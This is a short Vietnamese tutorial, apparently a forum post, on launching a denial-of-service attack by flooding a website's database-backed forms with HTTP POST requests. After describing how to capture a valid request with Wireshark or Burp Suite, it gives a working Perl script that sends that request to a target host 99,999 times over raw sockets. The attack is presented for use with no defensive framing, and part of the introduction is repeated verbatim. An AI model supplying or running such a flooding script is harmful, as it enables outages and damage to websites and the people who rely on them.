DoS với HTTP POST
Trên một số website có sử dụng một số chức năng truy vấn vào CSDL như tìm kiếm, đăng ký thành viên,.... Nếu site đó không dùng các biện pháp hạn chế để bảo vệ (như giới hạn thời gian, dùng ảnh xác nhận,...) thì phương pháp này tỏ ra hữu hiệu!
Attacker sẽ gửi hàng loạt các dữ liệu hợp lệ dẫn đến Server sẽ xử lý làm tràn database và nghẽn hệ thống.
Vd sau dùng ngôn ngữ Perl để tấn công!
Bước 1, ta sẽ lấy thông tin về 1 POST hợp lệ bằng cách truy cập bình thường vào website và sniff trong quá trình thực thi trên web (dùng phần mềm như Wireshark) hoặc dùng 1 phần mềm làm proxy (Burpsuite) để giữ lại.
Bước 2: hiệu chỉnh đoạn code sau theo các thông số có ở Bước 1
__________________Attacker sẽ gửi hàng loạt các dữ liệu hợp lệ dẫn đến Server sẽ xử lý làm tràn database và nghẽn hệ thống.
Vd sau dùng ngôn ngữ Perl để tấn công!
Bước 1, ta sẽ lấy thông tin về 1 POST hợp lệ bằng cách truy cập bình thường vào website và sniff trong quá trình thực thi trên web (dùng phần mềm như Wireshark) hoặc dùng 1 phần mềm làm proxy (Burpsuite) để giữ lại.
Bước 2: hiệu chỉnh đoạn code sau theo các thông số có ở Bước 1
Code:
#!/usr/bin/perl
use IO::Socket;
$x = 0;
$host = "www.victim.com";
$pth = "/";
while($x != 99999)
{
$postit = "giá trị cần POST";
$lrg = length $postit;
my $sock = new IO::Socket::INET (
PeerAddr => "$host",
PeerPort => "80",
Proto => "tcp",
);
die "\nCo loi xay ra: $!\n" unless $sock;
print $sock "POST $pth"."file.php?bien=xxx HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);
syswrite STDOUT, "Dang DoS";
$x++;
}
===================